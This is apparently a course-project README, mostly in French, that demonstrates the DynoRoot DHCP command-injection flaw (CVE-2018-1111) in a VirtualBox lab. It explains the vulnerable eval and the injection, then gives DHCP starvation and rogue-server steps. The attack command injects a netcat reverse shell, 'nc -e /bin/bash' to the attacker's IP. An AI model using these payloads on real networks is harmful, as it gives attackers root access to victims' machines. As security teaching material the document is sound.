
Exploitation DHCP avec DynoRoot (CVE-2018-1111)
Ce projet démontre une vulnérabilité connue des machines Fedora et RedHat liée à une implémentation côté client non sûre du protocole de configuration dynamique des hôtes (DHCP). Un serveur DHCP malveillant peut concevoir des offres DHCP avec une charge utile malveillante qui est exécutée dans un shell root sur la machine victime.
La vulnérabilité est attribuée à Felix Wilhelm et est connue sous le nom de CVE-2018-1111 ou « DynoRoot ».
Le protocole de configuration dynamique des hôtes (DHCP) est un composant souvent négligé dans les systèmes en réseau. Son rôle est de permettre la configuration dynamique des machines hôtes qui se connectent à un réseau existant. Le cas d'usage le plus courant est d'attribuer une adresse IP aux hôtes nouvellement connectés et de les informer des routes existantes pour accéder à d'autres réseaux. Des options supplémentaires peuvent être spécifiées, par exemple l'adresse d'un serveur DNS local et la zone qu'il dessert, ou l'emplacement d'un fichier d'amorçage.
Analysons le protocole en 4 étapes qui est suivi lorsqu'un nouvel hôte veut rejoindre un réseau après s'y être connecté physiquement au moyen d'une connexion ethernet ou sans fil.
DISCOVER sur le réseau.OFFER, contenant : l'adresse IP, le
masque de sous-réseau, l'adresse du routeur, et d'autres options.REQUEST, demandant officiellement de louer l'adresse IP qui a été
proposée.ACK, indiquant que le client est autorisé à utiliser
l'adresse IP pendant une durée spécifiée.Après l'échange initial, le client peut renouveler le bail en envoyant simplement un autre message REQUEST. Le serveur vérifiera l'existence d'un bail avec l'adresse IP et l'adresse MAC du client et répondra avec un ACK.
Quelques points à noter :
DISCOVER et REQUEST immédiatement une adresse. C'est
courant dans les scénarios où le client s'est déjà connecté au réseau par le passé et se souvient de
l'adresse précédente. Dans ce cas, le serveur vérifie la disponibilité de l'adresse et ACK la demande, ou, si le bail n'est pas disponible, envoie un NACK.RELEASE pour informer le serveur que
l'adresse est désormais disponible. Cependant, cela n'est pas exigé par le protocole et le serveur
récupérera périodiquement les bails expirés.OFFER de bails à de nouveaux clients.OFFERs,
il n'en acceptera qu'une seule, les autres serveurs observeront le REQUEST diffusé et invalideront
l'offre.La vulnérabilité se situe dans /etc/NetworkManager/dispatcher.d/11-dhclient, qui est exécuté
par le client pour analyser et définir les options reçues via DHCP.
declare est une commande intégrée de bash qui, utilisée sans arguments, liste toutes les variables déclarées.grep filtre toutes les variables liées au DHCP.while read opt itère sur les variables DHCP une par une, effectue une analyse et
imprime une ligne comme export new_optionname=value pour chaque option.eval.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Fonctionnement normal
Dans des situations normales, le code fonctionnerait parfaitement et analyserait les nouvelles options DHCP.
Par exemple, le code suivant :```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Affichera ces deux instructions export à évaluer avec eval :```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Injection de code
Cependant, en raison du `eval` non sécurisé, il est possible d'injecter des commandes bash :```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Cela entraînera l'évaluation de echo Hacked!:```text
[1] 1541
Hacked!
### Sources
- [Entrée de la base d'exploits](https://www.exploit-db.com/exploits/44890)
- [Annonce de RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Article de blog Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Dépôt GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Annonce sur Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Configuration
La configuration minimale pour démontrer l'exploit se compose de seulement deux machines : la machine `victim`
exécutant Fedora 28, et une machine `attacker`. Dans cette configuration, l'attaquant doit simplement fournir un
service DHCP et attendre la connexion de la victime.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Configuration minimale de l'exploit.</figcaption>
</figure>
Une configuration plus réaliste placerait les machines sur un réseau privé, où une troisième machine, la
`gateway`, est configurée comme serveur DHCP bénin et comme passerelle vers Internet.
Dans cette configuration, l'attaquant doit empêcher la victime de se connecter au serveur DHCP légitime
avant de pouvoir espérer mener l'attaque.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>Configuration de réseau privé avec une machine passerelle agissant comme serveur DHCP, routeur et pare-feu.</figcaption>
</figure>
Dans les sections suivantes, nous allons :
1. Installer VirtualBox
2. Créer 3 machines virtuelles : `gateway`, `attacker`, et `victim`
3. Installer le système d'exploitation sur les machines (utilisateurs, réseau et accès SSH)
4. Configurer la passerelle pour héberger le serveur DHCP bénin
pour le réseau interne virtuel fourni par VirtualBox
5. Installer les dépendances Python pour l'attaque
Pour [passer directement à l'action](#performing-the-attack) et éviter la configuration manuelle, il est possible de
lancer le script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) dans le dossier `ansible`, qui créera (quasi)
automatiquement les machines virtuelles et les configurera en utilisant
[Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html).
Assurez-vous simplement qu'Ansible et VirtualBox sont installés avant de lancer `setup.sh`.
### Préliminaires
#### Installer VirtualBox
Les instructions suivantes proviennent du [guide d'installation officiel](https://www.virtualbox.org/wiki/Downloads).
Ajoutez cette ligne à `/etc/apt/sources.list` :```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
Installer virtualbox et le pack d'extensions :```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Installer Ansible (facultatif)
Depuis le [guide officiel pour Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
Dans cette section, nous allons créer les identifiants SSH que nous utiliserons pour nous connecter aux machines. Ajouter les entrées d'hôtes dans le fichier de configuration SSH nous fera gagner de la frappe plus tard.
Créez une clé SSH sans phrase de passe :```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
Ajoutez ces entrées à la configuration SSH (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Cette machine héberge le serveur DHCP légitime qui gère un pool d'adresses sur le réseau interne. Elle est basée sur Ubuntu Server 18.04 avec le paquet ISC DHCP.
Dans un scénario réel, cette machine ferait également office de routeur (iptables) et de pare-feu (UFW Uncomplicated Firewall) entre les machines sur le réseau et le monde extérieur. Elle pourrait aussi héberger un serveur DNS pour certains services internes (BIND9).
Nous allons créer la machine virtuelle à l'aide des outils en ligne de commande de VirtualBox, afin que le processus puisse être répété aussi rapidement que possible. Sinon, il est possible de créer la VM via l'interface graphique en saisissant la même configuration.
Télécharger l'ISO Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
Créez la VM :
- L'interface réseau 1 est connectée au réseau NAT par défaut de VirtualBox
- L'interface réseau 2 est connectée au réseau interne `intnet`\
(le « d » dans l'adresse MAC signifie DHCP)
- Redirection de port d'un port `600x` de l'hôte vers le port SSH de la machine virtuelle```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
Si quelque chose ne va pas:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Installation de l'OS
La première fois que nous démarrons la machine, nous avons besoin d'un bureau virtuel pour suivre les étapes d'installation. Nous
pouvons démarrer la machine virtuelle en mode headless et utiliser `rdesktop-vrdp` pour nous connecter. Si VirtualBox est
en cours d'exécution sur un ordinateur de bureau, il peut être plus facile de lancer la machine virtuelle depuis l'interface graphique, mais
cette méthode fonctionnera même avec un hôte VirtualBox distant.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Paramètres de configuration pour l'installateur :
gatewaygatewaygat192.168.0.1 sur enp0s8

Après l'installation, éteindre la machine, retirer l'ISO et désactiver VRDE :```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Connexion SSH
Pour faciliter l'accès, nous pouvons installer la clé SSH créée ci-dessus dans la machine `gateway` :```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
Si pour une raison quelconque l'interface réseau enp0s8 n'a pas été configurée lors de l'installation,
écrivez cette configuration dans /etc/netplan/00-installer-config.yaml:```yaml
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
Et mettez à jour la configuration réseau :```
sudo netplan apply
ip addr show dev enp0s8
Redémarrer le service :```bash sudo systemctl restart isc-dhcp-server
Les événements DHCP sont consignés dans `/var/log/syslog`.
Nous pouvons mettre en évidence les entrées pertinentes avec :```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Si nous laissons le gateway activé pendant l'installation des autres machines,
elles récupéreront automatiquement la configuration DHCP.
La machine attaquante n'a aucune exigence particulière, elle doit exécuter Python dans un environnement Conda. Nous pouvons réutiliser l'ISO de Ubuntu Server 18.04 pour simplifier.
Créez la VM :
intnet600x sur l'hôte vers le port SSH de la machine virtuelle```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
#### Installation de l'OS
Au premier démarrage de la machine, nous avons besoin d'un bureau virtuel pour suivre les étapes d'installation. Nous
pouvons démarrer la machine virtuelle en mode headless et utiliser `rdesktop-vrdp` pour nous connecter. Si VirtualBox est
exécuté sur un ordinateur de bureau, il peut être plus facile de lancer la machine virtuelle depuis l'interface graphique, mais
cette méthode fonctionnera même avec un hôte VirtualBox distant.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Paramètres de configuration pour l'installateur :
attackerattackerattenp0s8 pour utiliser DHCP
Après l'installation, éteindre la machine, retirer l'ISO et désactiver le VRDE :```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Connexion SSH
Pour faciliter l'accès, nous pouvons installer la clé SSH créée ci-dessus dans la machine `attacker` :```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
Les scripts d'attaque Python doivent être exécutés en tant que root pour pouvoir fabriquer des paquets réseau de bas niveau
à l'aide de Scapy.
Par souci de simplicité, nous allons simplement installer toutes les dépendances en tant que root.
Environnement Conda avec Scapy :```bash sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc
conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'
Ensuite, nous allons récupérer les deux scripts d'attaque depuis GitHub:
- **DHCP starvation**\
Ce script va inonder le DHCP légitime avec de fausses requêtes,
épuisant le pool d'adresses disponibles. ```bash
git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
La machine victime n'est configurée d'aucune manière particulière, c'est simplement une installation Fedora 28 avec un NetworkManager vulnérable.
Téléchargez l'ISO Fedora :```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
Créer la VM:
- Interface réseau 1 connectée au réseau NAT par défaut de VirtualBox
- Interface réseau 2 connectée au réseau interne `intnet`\
(le "f" dans l'adresse MAC signifie Fedora)
- Redirection de port d'un port `600x` sur l'hôte vers le port SSH dans la machine virtuelle```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
Si quelque chose ne va pas :```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Installation de l'OS
La première fois que nous démarrons la machine, nous avons besoin d'un bureau virtuel pour suivre les étapes d'installation. Nous
pouvons démarrer la machine virtuelle en mode headless et utiliser `rdesktop-vrdp` pour nous connecter. Si VirtualBox est
exécuté sur un ordinateur de bureau, il peut être plus facile de lancer la machine virtuelle depuis l'interface graphique, mais
cette méthode fonctionnera même avec un hôte VirtualBox distant.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Install config:
fedoravictimvicenp0s8 pour utiliser DHCP

Après l'installation, éteignez la machine, retirez l'ISO et désactivez VRDE :```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Connexion SSH
Pour faciliter l'accès, nous pouvons installer la clé SSH créée ci-dessus dans la machine `victim` :```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
Vérifiez que l'interface enp0s8 utilise DHCP :```bash
sudo nmcli device show enp0s8
Sinon, cela peut être configuré en utilisant :```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
Pour revenir à une adresse IP statique :```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## Performing the attack
The following steps, executed in order, will showcase the DHCP attack.
We suggest setting up a terminal multiplexer like [Byobu](https://www.byobu.org/) to facilitate
jumping from one machine to the other.
Before the attack:
1. Spin up the 3 virtual machines, which will automatically connect to the benign DHCP
2. Disconnect the Fedora machine and clean up the DHCP lease files to simulate a fresh connection
3. Restart the DHCP server to simulate a fresh connection
The attack itself consists in:
1. Firing up a series of fake DHCP REQUESTs from the attacker to _starve_ the benign DHCP server
2. Starting the rogue DHCP server that will send the malicious OFFERs to the victim
3. Reconnecting the Fedora machine and waiting for the NetworkManager to broadcas a DHCP DISCOVER
4. Waiting for the reverse shell to connect
If anything happens, stop all relevant services and start over.
### Gateway
Clean up old DHCP leases and the ARP table, then restart the DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Obtenez un nouveau bail DHCP :``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
Enregistrez le trafic DHCP avec `tcpdump` :```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
Alternativement, VirtualBox peut également enregistrer le trafic:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
Lancer l'épuisement DHCP (exécuter en tant que `root`) :```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
Utilisez netcat pour écouter les connexions provenant de la victime :``` nc -v -l -p 1337
Lancer l'attaque (exécuter en tant que `root`) :```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
Nettoyez les anciens baux DHCP et reconnectez :``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### Analyse
#### Capture vidéo
La [vidéo](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) suivante démontre l'exécution de l'attaque en suivant les
étapes ci-dessus. Dans la vidéo, on peut observer :
1. L'échange DHCP en 4 étapes entre la `gateway` et l'`attacker`
2. L'attaque de famine DHCP (DHCP starvation), à la fois dans la console de l'attaquant
et dans les journaux du serveur DHCP (noter le `NACK` dû au bail existant de l'attaquant)
3. Le message « no free leases » de la `gateway` lorsque la `victim` diffuse un DHCP `DISCOVER`
4. Les messages DHCP forgés du serveur DHCP malveillant offrant `192.168.0.2`
5. La confirmation que netcat a reçu la connexion reverse shell depuis `192.168.0.2`
6. Les fausses options DNS reçues par la `victim`,
c'est-à-dire l'adresse DNS `192.168.0.1` et le domaine `victim.net`
7. L'exécution de code à distance réussie de commandes simples sur la machine victime
8. Le `RELEASE` DHCP envoyé à la fin de l'attaque
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### Analyse du trafic
Le [fichier de capture](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) contenant la trace de l'attaque peut être analysé dans
[Wireshark](https://wiki.wireshark.org/DHCP). Dans la capture, on peut noter :
1. L'échange DHCP en 4 étapes entre la `gateway` et l'`attacker`
2. L'attaque de famine DHCP
3. L'échange DHCP initié par la `victim` et complété par l'`attacker`
4. Les requêtes et réponses ARP _who-has_ lorsque la `victim` s'est connectée à la session netcat
sur l'`attacker`
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>Capture de paquets de l'attaque, l'option DHCP liée à l'exploit est mise en évidence. Les lettres dans les adresses MAC signifient : <code>d</code> serveur DHCP, <code>a</code> attaquant, <code>f</code> victime Fedora</figcaption>
</figure>
## Travaux futurs
DynoRoot cible les anciennes distributions Fedora et RedHat, et a été corrigé dans les versions plus récentes.
Par conséquent, les chances d'exploiter cette vulnérabilité dans la nature sont limitées. Heureusement, les attaques DHCP ne
se limitent pas à l'exécution de code à distance : tout type d'option forgée sera accepté par le client,
indépendamment de la présence de la vulnérabilité DynoRoot. Le moyen le plus simple d'exploiter ce comportement
est d'annoncer une machine contrôlée par l'attaquant comme passerelle réseau ou comme DNS pour une certaine
zone, permettant ainsi de surveiller, inspecter et réacheminer tout trafic ultérieur.
Une autre direction intéressante concerne les attaques de famine DHCP. L'attaque présentée dans ce projet
repose sur l'inondation du serveur DHCP avec des `REQUESTS` provenant d'adresses MAC usurpées, ce qui n'est pas la
définition de la discrétion. Ce billet de blog explore la possibilité de
[réaliser des attaques de famine sans envoyer un seul paquet DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
mais en s'appuyant à la place sur des réponses ARP usurpées.
## Crédits
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) a été signalé à Red Hat
par [Felix Wilhelm](https://twitter.com/_fel1x) de l'équipe Google Security.
Le script python pour réaliser l'exploit provient du [dépôt](https://github.com/kkirsche/CVE-2018-1111)
GitHub de [Kevin Kirsche](https://github.com/kkirsche), avec de légères modifications pour ignorer
la propre adresse MAC de l'attaquant.